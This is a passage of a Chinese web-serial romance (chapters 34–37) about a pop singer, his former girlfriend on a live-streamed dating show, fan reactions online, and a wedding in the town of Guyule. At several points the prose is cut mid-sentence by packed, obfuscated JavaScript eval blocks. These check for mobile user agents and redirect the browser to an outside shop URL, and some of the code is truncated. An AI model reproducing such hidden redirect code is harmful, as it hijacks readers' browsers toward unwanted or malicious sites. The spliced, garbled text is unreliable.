许钧闻本人倒是一点都不急,仍然是那副“天塌下来都无所谓”的样子,语气平稳:“反正每次采访记者都会问这种问题,不如我一次性亲自给大家解释清楚啊。” “你这是给大家‘解释’吗?你上网看看,你的粉丝们能接受你这种说法吗?你看看你的广场和超话现在都变成什么样子了!” 豪哥抓了抓自己的头发:“是,虽然你不是走偶像路线,但现在的品牌方挑选合作艺人的时候谁会不看流量和粉丝粘性?没有粉丝去买你代言的那些产品,有哪个品牌方会愿意请你去代言?” “是,我知道你看不上那些代言费,但如果没有粉丝,谁来买你演唱会的票?谁会在你出新歌的时候给你打榜、买你的专辑和单曲?” 豪哥说到这里,叹了口气:“钧闻,这就是咱们这个圈子现在生存的现状,任何一个想要打破固有规则的人都是要付出代价的。” 许钧闻戴着蓝牙耳机,坐在沙发上,指尖在平板屏幕上滑动: “但是我看还是有很多清醒明事理的歌迷的。那些比较偏激的内容不必理会。” 的确。 大呼小叫宣布要脱粉的还是很小一部分,在短暂地震惊后快速回过神来的正常粉丝们很快就出面控制住了目前的舆论风向: 「从一开始我们不就是因为喜欢他的歌所以才决定粉他的吗?这些年里虽然他从来没有发表过情歌,但他每一张专辑的质量所有人都是看在眼里的,以前别家粉丝阴阳我们家正主不发情歌是因为能力差不会写的时候,你们说着无所谓他写的歌到底是什么类型、什么主题,只要好听你们就愿意一直支持他。现在他亲口承认了自己不发情歌是因为过往的感情经历,你们又开始审判他不发情歌就是十恶不赦不配做歌手了?拜托,从一开始许钧闻对自己的定位就是一个“创作歌手”,而不是用来满足你们对于“理想男友”所有想象的工具!请不要拿要求爱豆偶像的那一套来要求一个歌手!」 「许钧闻从来没有用单身人设或是钢铁直男人设去圈钱,这些只是有些粉丝一厢情愿的幻想而已,如今正主亲自说出自己的故事,也没有藏着掖着、欺骗任何人,你们接受不了就自己脱粉,没必要来号召大家与你一起共沉沦。」 「我喜欢许钧闻的歌,所以我买他的专辑看他的演唱会,如果有一天他不写了或是写的歌不好了我自然就不会再为他的歌买单了,至于他到底谈过几段感情、有没有念念不忘的白月光,那和我一个听歌的人有什么关系?只要他是正常恋爱,该税的税,不该睡的不睡,做个遵纪守法的艺人不就行了?」 「所以……难道就没有人好奇,许钧闻口中那位前女友有没有看到这段cut吗?」 绝大部分的网友们对于许钧闻的部分粉丝大闹脱粉的事情并不是那么感兴趣,因为绝大部分网友还是抱着八卦的心态来围观这件事的。 部分思维比较极端的粉丝因为他对前女友念念不忘感到破防,怒而脱粉。但更多人想关注的却是……这位令他不再发表情歌的前女友,现如今到底知不知道自己的前男友已经变成了娱乐圈的顶流歌手,又知不知道他还遵守着当初和她之间看似幼稚的约定。 「按说以许哥这种话题度和咖位,前女友很难不知道吧?」 「的确,当时给某游戏的全球总决赛创作演唱主题曲之后,几乎全球的互联网那段时间都是他的歌和照片,据说当时他在外网的粉丝一夜增长了近五百万!这种话题度,只要这位前女友还在地球上,应该多少都能听说吧。」 「照你们这么一说,我对这位前女友的观感一下就变得还不错了呢。你们想啊,前任发达了,既没有冒出来发小作文博流量当网红,又没有闹着要复合,多合格的一个前任啊!」 「emmmm倒也不必一下子就对这个所谓的前女友这么友善吧?说不定当时是她对不住许钧闻, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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他曾经不止一次飞往英国,去她当年交换的学校和舞团找过她。 可那些外国人都对她的去想讳莫如深。 许钧闻甚至找到了舞团的团长,将对方堵在办公室里,攥着对方的领子,拳头差点就要落在对方的脸上。 即便如此,他得到的仍然只有一句“我不知道”。 许钧闻搜遍了那些年的古典舞界新闻,一有时间就世界各地飞去看古典舞的现场演出,只为了在茫茫人海中找到那个当年狠心说要“各自追求自己的梦想”的姑娘。 即使他知道,找到时缈的机会或许真的很渺茫。 也许是他的坚持感动了上苍。 命运终于给了他一次,和时缈重逢的机会。 他不想这么快把她吓跑。 也不希望时缈又像六年前一样留下一句话就慌不择路地逃跑。 所以他昨晚极力压抑住了继续追问她的冲动,狼狈地掩饰住自己的情绪,让她赶紧回去自己的房间——否则他生怕自己一个忍不住就要对她做些什么。 只要这一次。 他不给她在自己眼皮子底下逃跑的机会。 他们之间,来日方长。 34. 34首情歌 在豪哥的操作下,很快网上关于时缈的恶意揣测都消失得干干净净,豪哥甚至还用工作室的官微发了一条微博,号召粉丝们多关注许钧闻的作品,不要过多纠结于他的个人感情问题。 但是,八卦始终是刻在人类骨子里的天性。 还是有不少网友乐此不疲地讨论着这位不知庐山真面目的前女友。 「会不会复合我不在乎哈,我就是想问问,姐姐能不能听听许钧闻压箱底的那些情歌?没有别的意思,主要是我真的很想听哈哈哈哈哈哈哈!」 「附议!如果只有和前任姐姐复合许钧闻才会发情歌的话,我甚至愿意帮许钧闻追妻!我看过很多追妻火葬场文学的!理论知识非常丰富!@许钧闻@许钧闻工作室看看我!求求了!」 「整理了一些评分很高的追妻火葬场文学,@许钧闻教材已经给你准备好了,进来学习!争取早点发情歌给我们听!」 网友们造梗玩梗的能力强到可怕。 很快,热搜榜前几位的词条已经变成: #求求姐姐听听他的情歌吧# #建议许钧闻学学追妻火葬场文学# #追妻火葬场经典推文# 其中,#求求姐姐听听他的情歌吧#这条热搜关键词更是在榜一停留了近三个小时。 “照你说的,该撤掉的负面消息我已经处理得差不多了,有些网友的玩梗我就没有管了,反应过度很可能引起网友们情绪的反弹,咱们越不让他们说,他们反而越逆反。” 豪哥的声音听起来比之前虚弱了很多。 他接手许钧闻到现在,这还是他第一次大半夜还在为他处理绯闻舆论。 以前,圈里好多朋友都蛮羡慕他能够做许钧闻的经纪人——毕竟许钧闻能力强,而且很洁身自好,没有任何不良嗜好,根本不用担心会被狗仔拍到黑料。 但这两天的热搜一爆,好几个圈内和他关系好的人纷纷发消息“慰问”豪哥:终于也算是让你小子感受到他们平时的心酸了! “好。辛苦了。” 许钧闻也没有完全当撒手掌柜,一边观察着网上和粉丝群里的动向,一边将之前写完的新歌初稿拿出来修改。 如何能够将网友和歌迷们的视线从这条新闻上移走? 当然是制造另一条新闻。 恰好前阵子他正在为某部正在拍摄的谍战剧创作主题曲。 剧组宣发紧急联系到许钧闻的经纪人,问许钧闻这边是否可以将新歌尽快发布。 很显然,是想要蹭一下许钧闻的热度,为自己的电视剧引一些流。 豪哥起初想要拒绝。 但许钧闻却十分爽快地答应了下来。 “歌写得怎么样了?”豪哥关心道,“你也别太勉强自己,不是还有好几天的时间吗。” “没关系,节目组安排过几天组织所有嘉宾一起返回江城,我可以等结束录制后跟节目组打声招呼提前单独回去,到时候我让助理订票。” 许钧闻是一个做好决定之后行动力就会很强的人:“我们回头直接录音棚见。” “录音棚见没问题,但我必须要最后再次想你确认一件事情。” 豪哥的声音正经又严肃。 他这两天已经被许钧闻出乎意料的操作整怕了。 “你在谷峪勒的这几天,不会再闹什么幺蛾子了吧?” 许钧闻语气洒脱又坦然:“我不确定。” “嗯嗯你不……” 豪哥大惊:“你不确定?你说你不确定?!” “对,这个我的确不能向你保证。” 许钧闻自嘲般地低笑一声:“如果她继续给那两个明显对她很有好感的家伙发短息的话,我也不确定我自己会做出什么反应。” “嗯?” 豪哥几乎以为自己听错了:“什么叫‘继续给明显对她有好感的人发短信’?你给我好好解释一下这句话的意思?” 每个字都是汉字,怎么连起来,就变成了他听不懂的意思? 或许并不是他听不懂。 而是他不愿意听懂。 豪哥徒劳且绝望地再次确认道:“祖宗,大少爷,你最好告诉我,不是我想的那样。” 他突然想起,昨晚许钧闻突然挂断电话之前,那句意味深长的“已经见过了”…… 许钧闻却无情地戳破了他最后的幻想:“没错,就是你想的那样。” 像是生怕他听不懂一样,许钧闻慢条斯理地,将他们两人一来一回的哑谜之下的谜底一把揭开: “那位我传说中的前女友。” “我承认我还惦记着她的那个前女友。” “我说你已经见过了的我的前女友。” “也在这个节目里。” “只不过唯一的区别是——” 说到这里,许钧闻嗤笑一声: “她在恋综里和别的男人约会,我坐在这里当她的约会观察员。” * “不是我说啊姐们儿,你这位前男友可太牛了。” 顾梦瑶在电话那边冷笑一声:“几句话就把你推到风口浪尖上了,知不知道什么叫做‘合格的前任’啊?他就不担心他某些极端的粉丝把你的个人信息扒出来跑去线下开盒你吗?” “亏我之前还觉得他是个好人呢!果然,男人没一个好东西!” 时缈这两天都没敢刷微博,连小号都没敢登录。 顾梦瑶倒是刷到了零星几条议论“许钧闻前女友”的微博,但很快再想去看的时候,就已经找不到刚才那条内容了。 她们大概都猜到了是谁处理了那些信息。 但这并不妨碍顾梦瑶为自己的好姐妹打抱不平:“他把嘴闭紧就什么事儿都不会有,出了问题再来找补,小学老师没教过他什么叫做‘亡羊补牢’吗?之前我看直播里你们两个不是挺相安无事的吗,怎么他突然开始抽风了,受什么刺激了?” “不知道。” 时缈说的是实话。 从许钧闻突然在镜头之下,在完全没有喝一滴酒的情况下,主动自爆感情经历的那一刻起,时缈就已经猜不透许钧闻在想什么了。 或许这六年间,他除了外貌看起来更成熟了,心思也比以前难猜了许多。 又或许是分开六年,她已经不像原来那样,那么了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519669|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解他了。 “突然在镜头下表现出对你余情未了的样子,而你们又刚好重逢、抬头不见低头见地在一起录节目……” 顾梦瑶的语气诡异地拐了一个弯:“他该不会是想靠营造痴情人设把你骗回去,然后再狠狠甩掉你,以此作为对你的报复吧!” 顾梦瑶甚至越说越冷静、越想越觉得自己的思路简直天衣无缝。 “他绝对是想报复你!先把你重新追到手,然后再把你狠狠甩掉!让你也尝尝被人突然断崖式分手还拉黑所有联系方式的感觉!” …… 别说了姐妹。 她越听越觉得自己当年是真对不起许钧闻啊。 “他还不至于这么无聊。” 时缈把玩着自己一缕头发。 虽然有时候许钧闻在她面前也表现得蛮幼稚的,但时缈对他的秉性还是很清楚的。 许钧闻就算想报复她,也不会用这样无聊且低级的把戏。 “好吧。” 顾梦瑶叹了口气:“你总是这样帮他说话、站在他的立场上考虑,我真的很怀疑,你是不是也对他还有点什么想法。如果你们两个真的都这么放不下对方的话,干脆像网友们说的一样,和好算了。” “……” 电话这边的时缈陷入了一阵沉默。 多年好友,顾梦瑶很轻易地就从这阵沉默中品出了不一般的味道: “时缈,你认认真真地跟我说,不会被我说中了吧,其实你真的心里还想着他?” 之前顾梦瑶也问过她这个问题。 那时候自己是怎么回答的来着? 时缈回忆了一下。 哦,那时候她说,都多久之前的事情了,该过去的早就过去了。 但她真的过去了吗? 如果她真的过去了,就不应该几次三番地因为和许钧闻同处于一个空间而感到不自在,也不应该为自己对许钧闻的气息仍然感到熟悉而心惊,更不应该在谷峪勒这个拥有着他们共同回忆的地方提心吊胆感到心虚。 越反复叮嘱自己不要去在意的那个人,往往就是最在意的那个人,不是吗? “瑶瑶。” 时缈叹了口气,抬头看着月朗星稀的夜空。 谷峪勒的夜空和江城的有着很大的不同—— 在江城,人们晚上抬起头,只能看见高耸入云的、亮着灯的高楼大厦,人们加班时留着的灯光组成了那座城市特有的夜空景色。 而谷峪勒不同。 当地的居民早早结束了一天的工作,街上的小店也接二连三地关上了门窗,街市在夜幕笼罩中陷入了宁谧的沉睡。抬头望向天空时,夜色朗阔,硕大的圆月挂在空中,近得仿佛她只要一伸手就能触摸得到。 而那些最近令她频频回忆起的过往,也近得仿佛就是昨天发生的一样。 “瑶瑶,如果我说……” 时缈闭了闭眼。 她一个人,深夜坐在谷峪勒民宿空旷的小院里,在夜幕的陪伴下,终于下定决心向自己最亲密的朋友袒露自己最深沉的心事: “如果我说,我确实还对许钧闻抱有幻想呢?” 35. 35首情歌 “你的头发真漂亮,又黑又亮的,就像刚出生的小羊羔的眼睛一样。” 负责给时缈编发的大娘,操着一口略微有些僵硬的普通话,热情地组织着语言夸奖她:“在我们这里,姑娘们都很看重自己的头发,在结婚这天,还要把自己的一束头发剪下来,和心上人的头发缠在一起,丢进篝火里一起烧掉,许愿先祖保佑他们的爱情能够长长久久。” 时缈透过镜子,耐心地听着大娘的介绍,朝她温温柔柔地一笑:“这个习俗我也听说过,所以晚上我们也能参加你们的篝火会是吗?” “当然。” 大娘点点头,动作麻利地将她的头发分成几股,编得又快又好看。 “不管是哪里的朋友,只要有缘,都可以来参加我们当地人的婚礼,图一个……那个怎么说呢……” “好彩头。” “对对对,好彩头!”大娘通过镜子端详时缈的脸庞,“祖先会保佑你的,美丽的姑娘。” 今天一大早,小镇里一派喜气洋洋,竖着两条麻花辫的小姑娘挨家挨户地敲门送喜糖,恰好送到了民宿这里来。 节目组从小姑娘那里了解到这里今天会举办一场民族特色婚礼仪式,于是导演立刻去和新人的家庭进行了沟通,解释了一下他们这档节目的“恋爱”性质,询问新人能够让他们也一起参与感受一下谷峪勒本地的婚礼习俗。 谷峪勒民风淳朴、热情好客,这对年轻的新人十分爽快地答应了节目组的请求,甚至开玩笑说就当是为婚礼拍摄一部特别的纪录片了。 为了尊重当地人的习俗,所有嘉宾再次换上了谷峪勒本地的民族特色服饰。 比拍摄情侣写真时照相馆提供的服装还要精致和隆重。 周围几户本地人家的阿姨婆婆们也主动请缨,来为女孩子们编发化妆。 一时间,整个民宿洋溢着喜气洋洋的婚礼氛围。 “我以前在旅游博主的vlog里见过这种民族特色婚礼,但我这还是第一次亲身参与到这里面来,好神奇哦。” 时缈收拾得当,走出房门,和恰好也做完造型的温璐打了照面。 温璐挽住她的手臂,和她一起朝门口走:“你之前来这里的时候,碰上过这种场合吗?” 时缈点点头。 真的很巧。 这次跟随着节目组一起来到谷峪勒,就像是沿着曾经她和许钧闻的恋爱旅行轨迹重新走了一遍似的,既回到了当初一起拍照的照相馆,取到了几年前的老照片,又碰上了本地新人举办婚礼的喜庆场面。 “哇,那你和这里很有缘哦。”温璐感慨,“不是每个人来这里旅游都能遇上这么多有趣的事情的,说不定我们这次能有这种难忘的体验也是沾了你的好运气哦。” “那你知不知道他们这里的人结婚具体有哪些习俗或者流程啊?” “白天的流程我还真不清楚。” 时缈回忆了一下:“我们上次来的时候,只参与了晚上的篝火晚会环节,先是新郎新娘各自取一缕头发,缠绕打结后将头发丢进篝火里烧掉,由本地颇有名望的老人对他们进行祝福,然后就是大家围绕着篝火唱歌跳舞吃肉了。” * 白天,她和许钧闻在旅馆房间里窝了一整天—— 前一晚时缈喝了一点酒,借着上头的酒意和许钧闻胡闹到后半夜,第二天原本计划要去绥夷古城的旧城墙上看日出的,但许钧闻轻吻着她的额头问她要不要起床的时候,时缈翻了个身将自己裹在被子里:“好累,起不来了,不想起了。” 于是他们顺理成章地错过了那天的日出。 一觉睡到日上三竿,时缈伸了个懒腰,感受到后腰和大腿根的酸痛,刚刚冒出一点的“出去吃饭”的心思再次熄灭。 于是攻略里提到的“来谷峪勒必须打卡的特色餐厅”之行也暂时搁浅,变成了两个人一起窝在床上点外卖。 直到太阳渐渐西沉,金黄色的光晕洒满了整个房间,时缈觉得既然是出来旅游的,一整天都待在宾馆里不出门实在有些辜负出发前精心制定的旅行计划和窗外宛如边塞诗歌所写的美景,说服自己换好衣服,翻开攻略找到了网友们评价都很高的特色夜市,拉着许钧闻一同出了门。 谁料夜市那晚却没有多少摊位营业。 时缈疑惑地和周围路过的本地人打听,得知今晚有一家在当地颇有声望的家族举行婚礼,镇上很多人都前去观礼,所以没有人出来摆摊。 “如果你们有兴趣的话,也可以一起去看一看,很有意思的!” 当地的居民十分热情地邀请他们:“到时候,先祖会保佑你们的爱情,长长久久、圆圆满满!” “去吗?”时缈兴奋地转头看向许钧闻。 对上她的眼睛,许钧闻就知道,她对这个活动很感兴趣。 “走吧,”他牵起她的手,“虽然不需要任何人的祝福,我们的感情也能长长久久、圆圆满满,但我不介意有更多的人来见证这件事情。” * 太阳彻底落下去,夜幕笼罩这片充满异域风情的西北大地,一片星河挥洒开来,一轮圆圆的月亮悬挂在夜空正中央。 时缈第一次亲眼看见如此美丽的夜色。 以往学过的“醉后不知天在水,满船清梦压星河”“迟迟钟鼓初长夜,耿耿星河欲曙天”之类的诗歌文章中描摹的景象在这一刻彻底具象化,成为了她眼前仿佛抬手就能触碰到的旖旎景色。 一群身穿民族服饰的本地人中零星夹杂着和时缈他们一样来凑热闹的外地游客,火红的篝火在每个人的脸上投下橙红色的光影。 在这一刻,不论民族、不论语言,所有人都能轻而易举地从周围人脸上看见单纯的喜悦和热情。 虽然,时缈听不懂“证婚人”具体说了些什么,但她能够从周围人的脸上看到虔诚而真挚的祝福的笑容。 很快,在所有发言都结束后,不知人群中哪个位置爆发出一阵热烈的欢呼,当地人们十分熟练地围成了一个圈,圆圈正中央是今天的主角——新娘挽着新郎的手臂,金色的裙摆在半空中划出一个漂亮的弧度。 篝火旁,两个年轻的少年手持当地民族乐器,不知名的曲调响起,他们骨子里对音乐和舞蹈的喜爱被瞬间唤醒,很快,周围人便都加入了这场音乐与舞蹈的狂欢中。 时缈拉着许钧闻的手晃了晃。 许钧闻做了个“请”的姿势。 时缈娇俏地笑了一声,如一只自由的鸟儿,旋转着投入到篝火晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13534128|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会的舞蹈人群之中。 虽然她专业学习的并不是民族舞,但毕竟有这么多年的舞蹈功底,仅仅观察了一小会儿,时缈便将谷峪勒当地的民族舞蹈基本步伐学得大差不差,自如得踩着节拍,十分融洽地和本地人融在了一起。 很快,就有人发现了这个样貌出挑、舞姿灵动的外地姑娘。 身旁人们爆发出一阵善意的叫好和尖叫,几个外向的女孩子旋转着靠近,牵起她的手,带着她一圈又一圈的旋转。 这种感觉和她在排练室里、在舞台中央跳舞时的感觉都不一样。 如果说在排练室和舞台上,她是为了剧目中的每一个角色而起舞,那么现在,时缈仅仅只是为了自己、为了当下、为了此刻快乐的心情而跳跃。 许钧闻站在不远处。 尽管现场人影攒动、歌声喧闹,可他的眼里始终只有时缈一个人。 一旁有几个当地人是看见他和时缈牵着手过来的,自然是看出了他们之间关系的。 其中有几个小伙子,蹦跳着来到许钧闻的身边,用略有些蹩脚的普通话善意地打趣:“你的心上人,漂亮!” 许钧闻点点头:“谢谢,我也这么认为。” “你不去一起吗?”小伙子轻轻伸手推了推许钧闻,指着人群的方向,“在我们这里,这样漂亮的姑娘可是会有很多人追求的哦。” 许钧闻挑眉:“在我们那里也是啊。” 时缈在学校的追求者并不少,她也从来没有刻意遮掩过这一点,许钧闻并不介意——漂亮的蝴蝶总是要自由自在地飞翔在广阔天地中的。 小伙子们笑嘻嘻地给许钧闻竖了个大拇指,其中一个笑起来很阳光的男孩不知道从哪里拿了一枝花,朝许钧闻勾了勾手,踏着舞步旋转着融入到起舞的人群里,几个跳跃便来到了时缈的身边。 在音乐欢快的间奏中,男孩笑着将自己手里的花递给了时缈。 周围人爆发出善意地起哄声,不少人尖叫着鼓起了掌。 男孩不知道同时缈说了些什么,时缈眨了眨眼,笑着朝许钧闻这边看了过来。 两人的视线越过火光,在半空中交汇。 时缈朝他挥了挥手,许钧闻微微歪了下头。 时缈笑眯眯地转过头,接过男孩手里的花朵,朝许钧闻得意地扬了扬下巴,像是在说“看吧,我在这里也是很受欢迎的哦”。 人群仿佛看热闹不嫌事大,打着节拍撺掇着时缈和给她献花的男孩一起跳一曲。 男孩朝她做了个邀请的手势。 时缈回头朝许钧闻晃了晃手里的花,提起裙摆,做了一个屈膝礼。 周围再次爆发出一阵热烈的尖叫。 许钧闻低笑一声,在周围人投来的目光中,单手插兜,大步向时缈的方向走去。 周遭人看着他们,脸上都是直白单纯的热烈笑意。 时缈提起裙摆,踮脚旋转,白皙的指尖搭上谷峪勒男孩屈起的手臂之前,被人轻轻握住手腕,拽进了一个熟悉的怀抱中。 那朵来自谷峪勒的红色花朵被揉碎着他们紧贴在一起的胸膛之间。 在周围热情的喧闹中,在火焰金黄色光晕的笼罩下。 他们在谷峪勒的月光下接吻。 36. 36首情歌 节目组的嘉宾们分成几组,共同为今天结婚的新人准备举办婚礼所需要的一些道具,也算是沉浸式地参与到了谷峪勒婚礼习俗当中。 经过一番猜拳小游戏,时缈和薛明浩被分在了同一组,负责为新人制作捧花。 “我还是第一次参与准备别人的婚礼。” 两人跟着一个谷峪勒大姐,一起朝花圃的方向走去,薛明浩拽了拽自己的衣袖,语气颇有些新奇:“而且还是一场这么有西北特色的婚礼。” “回去之后,薛老师是不是可以把这种感受画下来留作纪念?”时缈自在随意地同他开着玩笑。 看到抽签结果的时候,她心里还是送了一口气的。 她昨晚才同自己最好的朋友承认自己对许钧闻的心思,而在节目的四位素人男嘉宾里,白景川和周璨一直在很直接且明显地朝她释放好感信号,她既无法违背良心地接受他们的示好,又无法打破节目组制定的游戏规则。 和薛明浩成为一组,是令时缈感到最自在、最安全的情况。 两人按照大姐的指导,挑选好花朵之后,坐在一旁的长条凳上处理花材。 “看来这一次是来到了时老师的主场了。” 薛明浩望着自己面前搭配的乱七八糟的花枝,又看了看时缈手中颜色和谐、层次自然的花束,甘拜下风地拱了拱手。 “风水轮流转嘛,这次终于不会在你面前丢脸了。” 时缈挑了挑眉,露出了一个略显骄傲的小表情,生动又美丽。 时缈虽然没有正经学过插花,但她妈妈是个平时很喜欢侍弄花花草草的人,她家里随处可见各式各样的植物。除此之外,她爸爸也时不时带一些新鲜花束回来作为送给妻子的小惊喜,在母亲的耳濡目染下,时缈对于花草的搭理和搭配也有了一点点小心得。 “我觉得……你今天似乎心情很好。” 薛明浩索性放弃了自己制作捧花,专心地为时缈打起了下手:“有时候感觉,你在录节目的时候总是有些紧绷的样子,是不适应镜头的原因吗?” 时缈修剪花枝的手一顿。 她还以为自己掩饰得很好。 但好在薛明浩给她找好了一个理由,于是时缈顺着他的话说道:“算是吧,毕竟我……做幕后的嘛。” 薛明浩点点头,表示理解:“我一开始想到要有将近一个月的时间都生活在摄影机下,而且还是直播镜头,也很紧张,生怕自己做错了什么、说错了什么。但好在,大家还是很好相处的。” “被你这么一说,节目好像已经录制了一半了。” 时缈不着痕迹地换了个话题:“感觉时间过得好快,想做梦一样,尤其是这次来到谷峪勒,在这之前,我从没想过会再来这里一次。” 故地重游。 和故人一起。 是她从前想都不敢想的事情。 “的确,我以前也想过要来这边旅游,但一直都没机会,这次也算是阴差阳错实现自己的人生计划之一了。” 薛明浩忽然像是想到了什么,饶有兴致地问她:“对了,如果让你选的话,你会喜欢这样的户外婚礼,还是更传统一些的那种在酒店里举办的婚礼?” 这个…… “还真没想过。” 时缈并不是在搪塞,而是她这几年真的从来没有想过“结婚”这件事。 虽然家里吴女士总是催她赶快谈个对象,尽快稳定下来,结婚生子,但时缈一直都处于一个“左耳朵进右耳朵出”的状态。 她最向往婚姻的时光已经过去六年了。 那些曾经和许钧闻一起天马行空幻想过的浪漫生活,在她选择和他分手的那一刻起,就成为了刻在她心上的一道陈旧伤疤。 轻轻一碰,就隐隐作痛。 而在那些他们一起描绘过的未来里,似乎从来没有对婚礼的形式有过一个确切的想象。 时缈唯一坚持的,就是要许钧闻一定要为他们的婚礼专门创作一首歌—— “哪怕将来你成为万众瞩目的大明星了,那首歌也只能是属于我们两个人的!” * 她不知道自己当初关于婚礼的“想象”还能不能实现。 但在今天的婚礼上,许钧闻第一次在节目上抱起了自己的吉他: “既然如此,我就唱一首谷峪勒的民歌,作为送给今天这对新人的礼物吧。” 许钧闻抱着从当地年轻人那里借来的吉他,坐在篝火旁的大石头上,自如又松弛。 「Vocal,我哥还会唱谷峪勒民歌?长见识了!」 「还有什么是我许哥不会的吗?带入一下新娘我肯定当场就幸福得昏过去了。」 「肯定是提前学过的啊,歌手学唱新歌有什么好大惊小怪的。」 「就算是提前学的,也算是许钧闻有心了啊,换做其他人说不定就直接唱一首《今天你要嫁给我》《月亮代表我的心》之类熟悉到张口就能来的歌就好了,但他是专门学了一首当地民歌哎!」 吉他弦被轻轻拨弄。 或许是因为篝火、月野和晚风所组成的这幅画面充满了西北苍凉又广阔的气息,连吉他奏出的琴声在此刻都被染上了几分野性和悠扬。 许钧闻一开口,便惊呆了包括时缈在内的所有人—— 他唱的歌词竟然是谷峪勒本地民族的民族语言。 直播间摄影师十分上道地将镜头对准了一旁的新人,发现新娘新郎的眼中都闪过了惊讶和惊艳。 祝意安,再次承担起了主持人的角色,小声问新娘:“这首歌唱的是个什么故事?” 时缈也不由自主地侧目看向新娘,有些好奇。 “说的是一个谷峪勒小伙子,为了去见自己心爱的姑娘,连续一个月,每晚都在在草原上寻找格鲁花的故事。” 新娘举起自己手里的捧花,朝时缈笑笑:“你们今天亲手制作的这束捧花,就是歌里唱的格鲁花,在我们这里,小伙子们向姑娘表白的时候,都要带一束自己亲手采摘的格鲁花才算数的。” “所以,这束花在你们的文化中,就象征着纯洁的爱情对吗。”时缈轻声问道。 “没错。” 新娘点点头,目光定定地落在时缈的脸上,忽然,眼神亮了一下。 “这朵花送给你。” 新娘从怀中抱着的花束中,抽了一朵开得最好的,递给时缈,笑得真诚又坦荡,吐字缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许钧闻哼笑一声,捏了捏她的手腕,目光意味深长地落在她手里的花上。 几片在刚才的拥吻中掉落下来的花瓣,落在她的发尾和他的衣摆上。 “送给你送给你。” 时缈将花往他手里一塞:“吃醋了哦?许钧闻。” “是啊,那你打算怎么补偿我。” “这朵花不算是补偿吗?” 许钧闻挑眉:“你拿别的男人送给你的花转送给我作为补偿?时缈,算盘打得挺好啊。” 时缈笑嘻嘻的,强词夺理:“那怎么了,这可是在婚礼上收到的花,肯定代表着特殊的祝福和美好的寓意。” “比如呢?” 许钧闻一副“我就看着你编”的表情。 “比如,祝我们的爱情像刚才那对新人一样,热烈美好、永垂不朽。” ——她当时只是随口这么一说。 而今天,时光流转轮回,时缈再次回到这片质朴热情的土地上。 谷峪勒美丽的新娘亲口告诉她,这朵花的花语是,矢志不渝的爱情。 37. 37首情歌 “你是什么时候学的这首歌?我居然都没发现,你还偷偷练习了才艺!” 许钧闻一曲唱完,在众人的欢呼和掌声中施施然地走回到人群里,程子归拍拍他的肩膀,开起了玩笑:“好啊你小子!” “之前就学过,只是一直没有机会和场合唱。这次也算是阴差阳错、借花献佛吧。”许钧闻轻描淡写地说道。 「赚大发了啊,不花钱就可以听到许钧闻的现场live,还是谷峪勒限定版本!」 「哈哈哈哈哈好一个限定版本!」 「就没有人好奇许钧闻是什么时候学的这首歌吗?又或者是说,学会之后准备唱给谁呢?」 「前面的,你这么一说……」 「有些人是不是住太平洋边啊?管的可真宽,人家什么时候想学就什么时候学,什么时候想唱就什么时候唱,还需要提前跟你商量?」 「笑死,今天可是当地人的婚礼,你家正主出来抢风头,未免也太不礼貌了。」 「我看你们这样随随便便否定别人的人才是真的不礼貌。」 「这就叫抢风头了?那我建议明星们都别参加素人朋友的婚礼了哦?免得到时候宾客主动提出想和艺人们拍照,却被说成艺人抢素人新郎新娘的风头哦。」 「新人:可以。许钧闻:可以。直播间观众:不行!笑死,谁在乎你们的想法啊?Nobodycares!」 弹幕里火药味逐渐浓郁,但现场嘉宾和新人们之间的气氛倒是十分和谐。 青葭不知道从哪儿找来了一束花,冲上去想要献给许钧闻:“哇哦,偶像好棒!连谷峪勒的民歌唱得都这么好听!” “谢谢。” 许钧闻淡淡地点点头,并没有接过青葭的花:“班门弄斧而已。” 他转头看向今晚婚礼的两位主角:“新人们喜欢就好。” “喜欢!当然喜欢!简直是太感动了。”新娘连连点头,“我真的没想到,你居然会唱这首歌。” 时缈的目光落在青葭的手上—— 她打算献给许钧闻、对方却没有接过来的那束花,也是格鲁花。 时缈垂下眼睛。 不知道许钧闻知不知道,当年那朵花所代表的花语是什么。 篝火晚会继续,嘉宾们和当地的居民们一起围着篝火唱唱跳跳,画面热烈又美好,在这一刻,他们几乎要忘记了自己正在录制节目,也忘记了周围还有不少直播镜头正对准自己,只把它当成一次单纯的旅行,尽情地在夜幕下释放自己的快乐,感受来自西北的炙热和自由。 连时缈也在新娘的热情邀请下,踩着拍子旋转了起来。 她很久都没有这样心无旁骛地跳过舞了。 好像又找回了当初单纯地热爱着古典舞的那个自己。 